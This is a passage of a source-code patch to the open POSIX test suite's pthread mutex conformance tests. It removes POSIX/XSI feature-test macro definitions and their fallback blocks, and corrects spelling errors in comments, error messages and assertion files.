--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/2-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/2-2.c
@@ -25,14 +25,7 @@
 
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* We need the XSI extention for the mutex attributes */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
- /********************************************************************************************/
+/********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
 #include <pthread.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/5-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/5-2.c
index 601a517..f317a80 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/5-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/5-2.c
@@ -26,14 +26,7 @@
 
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* We need the XSI extention for the mutex attributes */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
- /********************************************************************************************/
+/********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
 #include <pthread.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/assertions.xml b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/assertions.xml
index 76d3bf4..561837e 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/assertions.xml
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/assertions.xml
@@ -19,7 +19,7 @@
   <assertion id="4" tag="ref:XSH6:33657:33661">
   pthread_mutex_destroy() may fail if:
 
-  -[EBUSY] The implementation has detected an attempt to destory the
+  -[EBUSY] The implementation has detected an attempt to destroy the
   object referenced by 'mutex' while it is locked or referenced.
   -[EINVAL] The value specified by 'mutex' is invalid.
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/1-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/1-2.c
index f826ceb..0d5461a 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/1-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/1-2.c
@@ -39,8 +39,6 @@
   *   for general information
   */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/2-1.c
index 226ddaa..d223103 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/2-1.c
@@ -45,7 +45,7 @@
 
 	/* Destory the mutex object */
 	if ((rc = pthread_mutex_destroy(&mutex)) != 0) {
-		fprintf(stderr, "Fail to destory the mutex, rc=%d\n", rc);
+		fprintf(stderr, "Fail to destroy the mutex, rc=%d\n", rc);
 		return PTS_UNRESOLVED;
 	}
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/3-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/3-2.c
index 1a8266a..483dc8d 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/3-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/3-2.c
@@ -45,8 +45,6 @@
   *   for general information
   */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/5-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/5-1.c
index 2ab8d1f..771c85e 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/5-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/5-1.c
@@ -28,13 +28,6 @@
  * * Parent process waits for the child.
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* We need the setrlimit() function from X/OPEN standard */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
@@ -244,11 +237,3 @@
 	}
 	PASSED;
 }
-
-#else /* WITHOUT_XOPEN */
-int main(void)
-{
-	output_init();
-	UNTESTED("This test requires XSI features");
-}
-#endif
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/assertions.xml b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/assertions.xml
index c92b12d..0cde81a 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/assertions.xml
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/assertions.xml
@@ -14,14 +14,14 @@
   </assertion>
   <assertion id="2" tag="ref:XSH6:33640:33645">
   Upon successful initialization, the state of the mutex becomes initialized
-  and unlocked.  Attempting to initialize an already intialized mutex
+  and unlocked.  Attempting to initialize an already initialized mutex
   results in undefined behavior.
   </assertion>
   <assertion id="3" tag="ref:XSH6:33646:33649">
   In cases where default mutex attributes are appropriate, the macro
   PTHREAD_MUTEX_INITIALIZER can be used to intiailize mutexes that are
   statically allocated.  The effect shall be equivilant to dynamic
-  intialization by a call to pthread_mutex_init() with paramter 'attr'
+  initialization by a call to pthread_mutex_init() with paramter 'attr'
   specified as NULL, except that no error checks are performed.
   </assertion>
   <assertion id="4" tag="ref:XSH6:33651:33651">
@@ -31,14 +31,14 @@
   It SHALL fail if:
 
   -[EAGAIN] The system lacked the neccessary resources (other than memory)
-  to intialize another mutex.
+  to initialize another mutex.
   -[ENOMEM] Insufficient memory exists to initialize the mutex.
  -[EPERM] The caller does not have the privilage to perform the operation.
 
   It MAY fail if:
 
   -[EBUSY] The implementation has detected an attempt to reinitialize the
-   object referenced by 'mutex', a previously intialized, but not yet
+   object referenced by 'mutex', a previously initialized, but not yet
    destroyed, mutex.
   -[EINVAL] The value specified by 'attr' is invalid.
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/speculative/5-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/speculative/5-2.c
index 7deb828..d36d675 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/speculative/5-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/speculative/5-2.c
@@ -27,8 +27,6 @@
  * -> return PTS_UNTESTED if the architecture is not present in the test.
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/1-1.c
index 6fab150..8dcef24 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/1-1.c
@@ -20,7 +20,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/3-1.c
index c4d09fa..3b0811f 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/3-1.c
@@ -33,14 +33,6 @@
   *   for general information
   */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* We enable the following line to have mutex attributes defined */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
-
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/4-1.c
index 797212d..a96b843 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/4-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/4-1.c
@@ -42,13 +42,6 @@
   *   for general information
   */
 
-  /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* We need the setrlimit() function from X/OPEN standard */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
@@ -259,10 +252,3 @@
 
 	PASSED;
 }
-#else /* WITHOUT_XOPEN */
-int main(void)
-{
-	output_init();
-	UNTESTED("This test requires XSI features");
-}
-#endif
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/5-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/5-1.c
index 38505db..0dece22 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/5-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/5-1.c
@@ -41,14 +41,6 @@
   *   for general information
   */
 
-  /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* We enable the following line to have mutex attributes defined */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
-
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/1-1.c
index cffd431..7527de1 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/1-1.c
@@ -23,7 +23,6 @@
  *    tried to lock in the thread.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <time.h>
 #include <pthread.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/2-1.c
index 46f659c..1aca772 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/2-1.c
@@ -25,7 +25,6 @@
 
 /* Test for CLOCK_REALTIME */
 
-#define _XOPEN_SOURCE 600
 
 #include <time.h>
 #include <pthread.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/4-1.c
index 43129e7..e0e362e 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/4-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/4-1.c
@@ -17,7 +17,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <time.h>
 #include <pthread.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/5-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/5-1.c
index f8375e6..928c372 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/5-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/5-1.c
@@ -22,7 +22,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <time.h>
 #include <pthread.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/5-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/5-2.c
index f2505e5..a26a4e1 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/5-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/5-2.c
@@ -22,7 +22,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <time.h>
 #include <pthread.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/5-3.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/5-3.c
index a8332af..02b5973 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/5-3.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/5-3.c
@@ -21,7 +21,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <time.h>
 #include <pthread.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/1-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/1-2.c
index adabfa2..72825fb 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/1-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/1-2.c
@@ -29,15 +29,7 @@
  *   -> undo everything.
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* We need the XSI extention for the mutex attributes
-    and the mkstemp() routine */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
- /********************************************************************************************/
+/********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
 #include <pthread.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/2-1.c
index f77bda6..32c9ec8 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/2-1.c
@@ -32,15 +32,7 @@
  *   -> undo everything.
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* We need the XSI extention for the mutex attributes
-    and the mkstemp() routine */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
- /********************************************************************************************/
+/********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
 #include <pthread.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/4-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/4-2.c
index 3063b25..cbd3c98 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/4-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/4-2.c
@@ -27,15 +27,7 @@
  *   -> undo everything.
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* We need the XSI extention for the mutex attributes
-    and the mkstemp() routine */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
- /********************************************************************************************/
+/********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
 #include <pthread.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/4-3.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/4-3.c
index 64c549d..3b705d7 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/4-3.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/4-3.c
@@ -24,15 +24,7 @@
 
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* We need the XSI extention for the mutex attributes
-    and the mkstemp() routine */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
- /********************************************************************************************/
+/********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
 #include <pthread.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_unlock/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_unlock/2-1.c
index c1562e4..773eb92 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_unlock/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_unlock/2-1.c
@@ -23,7 +23,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_unlock/5-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_unlock/5-1.c
index 36ddc06..89e89d1 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_unlock/5-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_unlock/5-1.c
@@ -31,13 +31,6 @@
   *   for general information
   */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* We enable the following line to have mutex attributes defined */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
@@ -169,10 +162,3 @@
 
 	PASSED;
 }
-#else /* WITHOUT_XOPEN */
-int main(void)
-{
-	output_init();
-	UNTESTED("This test requires XSI features");
-}
-#endif
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_unlock/5-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_unlock/5-2.c
index 7a49294..341b318 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_unlock/5-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_unlock/5-2.c
@@ -32,13 +32,6 @@
   *   for general information
   */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* We enable the following line to have mutex attributes defined */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
@@ -151,10 +144,3 @@
 
 	PASSED;
 }
-#else /* WITHOUT_XOPEN */
-int main(void)
-{
-	output_init();
-	UNTESTED("This test requires XSI features");
-}
-#endif
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getprioceiling/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getprioceiling/3-1.c
index de2ae33..1388c4f 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getprioceiling/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getprioceiling/3-1.c
@@ -32,7 +32,7 @@
 	int prioceiling, ret;
 	pthread_mutexattr_t mta;
 
-	/* Get the prioceiling of an unintialized mutex attr. */
+	/* Get the prioceiling of an uninitialized mutex attr. */
 	if ((ret = pthread_mutexattr_getprioceiling(&mta, &prioceiling)) == 0) {
 		printf
 		    ("Test PASSED: *Note: Returned 0 instead of EINVAL when passed an uninitialized mutex attribute object to pthread_mutexattr_getprioceiling, but standard says 'may' fail.\n");
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/1-1.c
index f5fc5f0..71c864e 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/1-1.c
@@ -19,7 +19,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/1-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/1-2.c
index ddeef94..7a77b77 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/1-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/1-2.c
@@ -20,7 +20,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/1-3.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/1-3.c
index 2c87c71..9b28c42 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/1-3.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/1-3.c
@@ -20,7 +20,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/1-4.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/1-4.c
index 84b007c..a7c4520 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/1-4.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/1-4.c
@@ -20,7 +20,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/1-5.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/1-5.c
index b762b5a..888a5a2 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/1-5.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/1-5.c
@@ -20,7 +20,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/speculative/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/speculative/3-1.c
index f4ffad7..8c999e3 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/speculative/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/speculative/3-1.c
@@ -18,7 +18,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setprioceiling/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setprioceiling/3-1.c
index fb7ac1a..4546ab8 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setprioceiling/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setprioceiling/3-1.c
@@ -38,7 +38,7 @@
 
 	prioceiling = sched_get_priority_min(SCHED_FIFO);
 
-	/* Set the prioceiling of an unintialized mutex attr. */
+	/* Set the prioceiling of an uninitialized mutex attr. */
 	if ((ret = pthread_mutexattr_setprioceiling(&mta, prioceiling)) == 0) {
 		printf
 		    ("Test PASSED: *Note: Returned 0 instead of EINVAL when passed an uninitialized mutex attribute object to pthread_mutexattr_setprioceiling, but standard says 'may' fail.\n");
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/1-1.c
index a7b6944..3393297 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/1-1.c
@@ -11,7 +11,6 @@
  * these functions.  The default value is PTHREAD_MUTEX_DEFAULT.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/2-1.c
index 9871c0f..c73d7cd 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/2-1.c
@@ -22,7 +22,6 @@
  *     to interrupt the deadlock.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdio.h>
@@ -59,7 +58,7 @@
 
 	/* Initialize the mutex with that attribute obj. */
 	if (pthread_mutex_init(&mutex, &mta) != 0) {
-		perror("Error intializing the mutex.\n");
+		perror("Error initializing the mutex.\n");
 		return PTS_UNRESOLVED;
 	}
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/3-1.c
index cac20f1..3f85712 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/3-1.c
@@ -22,7 +22,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdio.h>
@@ -48,7 +47,7 @@
 
 	/* Initialize the mutex with that attribute obj. */
 	if (pthread_mutex_init(&mutex, &mta) != 0) {
-		perror("Error intializing the mutex.\n");
+		perror("Error initializing the mutex.\n");
 		return PTS_UNRESOLVED;
 	}
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/3-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/3-2.c
index 618054e..9ab92a8 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/3-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/3-2.c
@@ -24,7 +24,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdio.h>
@@ -61,7 +60,7 @@
 
 	/* Initialize the mutex with that attribute obj. */
 	if (pthread_mutex_init(&mutex, &mta) != 0) {
-		perror("Error intializing the mutex.\n");
+		perror("Error initializing the mutex.\n");
 		return PTS_UNRESOLVED;
 	}
 
@@ -91,7 +90,7 @@
 	pthread_mutex_destroy(&mutex);
 
 	if (pthread_mutexattr_destroy(&mta)) {
-		perror("Error at pthread_mutexattr_destory().\n");
+		perror("Error at pthread_mutexattr_destroy().\n");
 		return PTS_UNRESOLVED;
 	}
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/3-3.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/3-3.c
index 0c7a445..31f9b9f 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/3-3.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/3-3.c
@@ -22,7 +22,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdio.h>
@@ -48,7 +47,7 @@
 
 	/* Initialize the mutex with that attribute obj. */
 	if (pthread_mutex_init(&mutex, &mta) != 0) {
-		perror("Error intializing the mutex.\n");
+		perror("Error initializing the mutex.\n");
 		return PTS_UNRESOLVED;
 	}
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/3-4.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/3-4.c
index b13bc2a..cf17b84 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/3-4.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/3-4.c
@@ -22,7 +22,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdio.h>
@@ -48,7 +47,7 @@
 
 	/* Initialize the mutex with that attribute obj. */
 	if (pthread_mutex_init(&mutex, &mta) != 0) {
-		perror("Error intializing the mutex.\n");
+		perror("Error initializing the mutex.\n");
 		return PTS_UNRESOLVED;
 	}
 
@@ -70,12 +69,12 @@
 	}
 
 	if (pthread_mutex_destroy(&mutex)) {
-		perror("Error at pthread_mutex_destory().\n");
+		perror("Error at pthread_mutex_destroy().\n");
 		return PTS_UNRESOLVED;
 	}
 
 	if (pthread_mutexattr_destroy(&mta)) {
-		perror("Error at pthread_mutexattr_destory().\n");
+		perror("Error at pthread_mutexattr_destroy().\n");
 		return PTS_UNRESOLVED;
 	}
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/7-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/7-1.c
index 72af965..5404f8b 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/7-1.c
